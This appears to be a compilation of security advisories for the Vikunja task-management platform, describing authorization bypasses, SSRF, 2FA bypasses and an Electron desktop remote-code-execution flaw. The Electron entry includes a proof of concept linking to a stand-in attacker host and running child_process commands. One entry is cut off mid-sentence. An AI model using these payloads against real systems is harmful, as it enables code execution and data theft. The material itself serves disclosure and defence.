Vikunja is an open-source self-hosted task management platform. Prior to 2.3.0, Vikunja's link share authentication (GetLinkShareFromClaims in pkg/models/link_sharing.go) constructs authorization objects entirely from JWT claims without any server-side database validation. When a project owner deletes a link share or downgrades its permissions, all previously issued JWTs continue to grant the original permission level for up to 72 hours (the default service.jwtttl). This vulnerability is fixed in 2.3.0.
Vikunja is an open-source self-hosted task management platform. Prior to 2.3.0, the OIDC callback handler issues a full JWT token without checking whether the matched user has TOTP two-factor authentication enabled. When a local user with TOTP enrolled is matched via the OIDC email fallback mechanism, the second factor is completely skipped. This vulnerability is fixed in 2.3.0.
Vikunja is an open-source self-hosted task management platform. Prior to version 2.2.1, the `DELETE /api/v1/projects/:project/shares/:share` endpoint does not verify that the link share belongs to the project specified in the URL. An attacker with admin access to any project can delete link shares from other projects by providing their own project ID combined with the target share ID. Version 2.2.1 patches the issue.
Vikunja is an open-source self-hosted task management platform. Prior to version 2.2.2, the `LinkSharing.ReadAll()` method allows link share authenticated users to list all link shares for a project, including their secret hashes. While `LinkSharing.CanRead()` correctly blocks link share users from reading individual shares via `ReadOne`, the `ReadAllWeb` handler bypasses this check by never calling `CanRead()`. An attacker with a read-only link share can retrieve hashes for write or admin link shares on the same project and authenticate with them, escalating to full admin access. Version 2.2.2 patches the issue.
Vikunja is an open-source self-hosted task management platform. Prior to version 2.2.1, the `DownloadImage` function in `pkg/utils/avatar.go` uses a bare `http.Client{}` with no SSRF protection when downloading user avatar images from the OpenID Connect `picture` claim URL. An attacker who controls their OIDC profile picture URL can force the Vikunja server to make HTTP GET requests to arbitrary internal or cloud metadata endpoints. This bypasses the SSRF protections that are correctly applied to the webhook system. Version 2.2.1 patches the issue.
Vikunja is an open-source self-hosted task management platform. Prior to version 2.2.1, `TaskAttachment.ReadOne()` queries attachments by ID only (`WHERE id = ?`), ignoring the task ID from the URL path. The permission check in `CanRead()` validates access to the task specified in the URL, but `ReadOne()` loads a different attachment that may belong to a task in another project. This allows any authenticated user to download or delete any attachment in the system by providing their own accessible task ID with a target attachment ID. Attachment IDs are sequential integers, making enumeration trivial. Version 2.2.1 patches the issue.
Vikunja is an open-source self-hosted task management platform. Prior to version 2.2.1, the `GET /api/v1/projects/:project/webhooks` endpoint returns webhook BasicAuth credentials (`basic_auth_user` and `basic_auth_password`) in plaintext to any user with read access to the project. While the existing code correctly masks the HMAC `secret` field, the BasicAuth fields added in a later migration were not given the same treatment. This allows read-only collaborators to steal credentials intended for authenticating against external webhook receivers. Version 2.2.1 patches the issue.
CVE-2026-33676 is an authorization vulnerability in the open-source task management platform Vikunja prior to version 2.2.1. The flaw allows authenticated users with read access to a task to receive full details of related tasks in projects they do not have permission to access. This occurs because the API populates the 'related_tasks' field with full task objects without verifying read permissions on those related tasks' projects. The exposed information includes sensitive task details such as title, description, due dates, priority, percent completion, and project IDs. The vulnerability has a CVSS score of 6.5 (medium severity) and does not impact task integrity or availability, only confidentiality. Version 2.2.
Vikunja is an open-source self-hosted task management platform. Prior to version 2.2.1, the migration helper functions `DownloadFile` and `DownloadFileWithHeaders` in `pkg/modules/migration/helpers.go` make arbitrary HTTP GET requests without any SSRF protection. When a user triggers a Todoist or Trello migration, file attachment URLs from the third-party API response are passed directly to these functions, allowing an attacker to force the Vikunja server to fetch internal network resources and return the response as a downloadable task attachment. Version 2.2.1 patches the issue.
Vikunja is an open-source self-hosted task management platform. Starting in version 0.18.0 and prior to version 2.2.1, when a user account is disabled or locked, the status check is only enforced on the local login and JWT token refresh paths. Three other authentication paths — API tokens, CalDAV basic auth, and OpenID Connect — do not verify user status, allowing disabled or locked users to continue accessing the API and syncing data. Version 2.2.1 patches the issue.
Vikunja is an open-source self-hosted task management platform. Starting in version 1.0.0-rc0 and prior to version 2.2.0, unbounded image decoding and resizing during preview generation lets an attacker exhaust CPU and memory with highly compressed but extremely large-dimension images. Version 2.2.0 patches the issue.
Vikunja is an open-source self-hosted task management platform. Starting in version 0.13 and prior to version 2.2.1, any user that has enabled 2FA can have their TOTP reused during the standard 30 second validity window. Version 2.2.1 patches the issue.
Vikunja is an open-source self-hosted task management platform. Starting in version 0.21.0 and prior to version 2.2.0, the Vikunja Desktop Electron wrapper enables `nodeIntegration` in the main BrowserWindow and does not restrict same-window navigations. An attacker who can place a link in user-generated content (task descriptions, comments, project descriptions) can cause the BrowserWindow to navigate to an attacker-controlled origin, where JavaScript executes with full Node.js access, resulting in arbitrary code execution on the victim's machine. Version 2.2.0 patches the issue.
## Root cause
Two misconfigurations combine to create this vulnerability:
1. **`nodeIntegration: true`** is set in `BrowserWindow` web preferences (`desktop/main.js:14-16`), giving any page loaded in the renderer full access to Node.js APIs (`require`, `child_process`, `fs`, etc.).
2. **No `will-navigate` or `will-redirect` handler** is registered on the `webContents`. The existing `setWindowOpenHandler` (`desktop/main.js:19-23`) only intercepts `window.open()` calls (new-window requests). It does **not** intercept same-window navigations triggered by:
- `<a href="https://...">` links (without `target="_blank"`)
- `window.location` assignments
- HTTP redirects
- `<meta http-equiv="refresh">` tags
## Attack scenario
1. The attacker is a normal user on the same Vikunja instance (e.g., a member of a shared project).
2. The attacker creates or edits a project description or task description containing a standard HTML link, e.g.: `<a href="https://evil.example/exploit">Click here for the updated design spec</a>`
3. The Vikunja frontend renders this link. DOMPurify sanitization correctly allows it -- it is a legitimate anchor tag, not a script injection. Render path example: `frontend/src/views/project/ProjectInfo.vue` uses `v-html` with DOMPurify-sanitized output.4. The victim uses Vikunja Desktop and clicks the link.5. Because no `will-navigate` handler exists, the BrowserWindow navigates to `https://evil.example/exploit` in the same renderer process.6. The attacker's page now executes in a context with `nodeIntegration: true` and runs: `require('child_process').exec('id > /tmp/pwned');`
7. Arbitrary commands execute as the victim's OS user.
## Impact
Full remote code execution on the victim's desktop. The attacker can read/write arbitrary files, execute arbitrary commands, install malware or backdoors, and exfiltrate credentials and sensitive data. No XSS vulnerability is required -- a normal, sanitizer-approved hyperlink is sufficient.
## Proof of concept
1. Set up a Vikunja instance with two users sharing a project.2. As the attacker user, edit a project description to include: `<a href="https://attacker.example/poc.html">Meeting notes</a>`
3. Host poc.html with: `<script>require('child_process').exec('calc.exe')</script>`
4. As the victim, open the project in Vikunja Desktop and click the link.5.calc.exe (or any other command) executes on the victim's machine.
## Credits
This vulnerability was found using [GitHub Security Lab Taskflows](https://github.com/GitHubSecurityLab/seclab-taskflows).
CVE-2026-33335 is a medium-severity vulnerability in the Vikunja Desktop Electron wrapper versions from 0.21.0 up to but not including 2.2.0. The issue arises because URLs passed to window.open() are forwarded directly to shell.openExternal() without validation or protocol allowlisting. This allows an attacker who can embed links with target="_blank" or trigger window.open in user-generated content to cause the victim's OS to open arbitrary URI schemes.
Vikunja is an open-source self-hosted task management platform. Starting in version 0.21.0 and prior to version 2.2.0, the Vikunja Desktop Electron wrapper enables `nodeIntegration` in the renderer process without `contextIsolation` or `sandbox`. This means any cross-site scripting (XSS) vulnerability in the Vikunja web frontend -- present or future -- automatically escalates to full remote code execution on the victim's machine, as injected scripts gain access to Node.js APIs. Version 2.2.0 fixes the issue.
Vikunja is an open-source self-hosted task management platform. Prior to version 2.2.0, a flaw in Vikunja’s password reset logic allows disabled users to regain access to their accounts. The `ResetPassword()` function sets the user’s status to `StatusActive` after a successful password reset without verifying whether the account was previously disabled. By requesting a reset token through `/api/v1/user/password/token` and completing the reset via `/api/v1/user/password/reset`, a disabled user can reactivate their account and bypass administrator-imposed account disablement. Version 2.2.0 patches the issue.
Vikunja is an open-source self-hosted task management platform. Prior to version 2.2.0, the Caldav endpoint allows login using Basic Authentication, which in turn allows users to bypass the TOTP on 2FA-enabled accounts. The user can then access standard project information that would normally be protected behind 2FA (if enabled), such as project name, description, etc. Version 2.2.0 patches the issue.
Vikunja is an open-source self-hosted task management platform. Prior to version 2.2.0, an authenticated user can read any task comment by ID, regardless of whether they have access to the task the comment belongs to, by substituting the task ID in the API URL with a task they do have access to. Version 2.2.0 fixes the issue.
CVE-2026-33312 is an authorization vulnerability in the open-source task management platform Vikunja, affecting versions from 0.20.2 up to but not including 2.2.0. The flaw exists in the DELETE /api/v1/projects/:project/background endpoint, which incorrectly checks for read permissions (CanRead) instead of update permissions (CanUpdate). This allows any user with read-only access to permanently delete a project's background image, potentially impacting project presentation and user experience. The vulnerability does not require user interaction or authentication beyond read access, and no known exploits are currently reported in the wild. The issue is fixed in version 2.2.
Vikunja is an open-source self-hosted task management platform. Starting in version 0.8 and prior to version 2.2.0, unauthenticated users are able to bypass the application's built-in rate-limits by spoofing the `X-Forwarded-For` or `X-Real-IP` headers due to the rate-limit relying on the value of `(echo.Context).RealIP`. Unauthenticated users can abuse endpoints available to them for different potential impacts. The immediate concern would be brute-forcing usernames or specific accounts' passwords. This bypass allows unlimited requests against unauthenticated endpoints. Version 2.2.0 patches the issue.
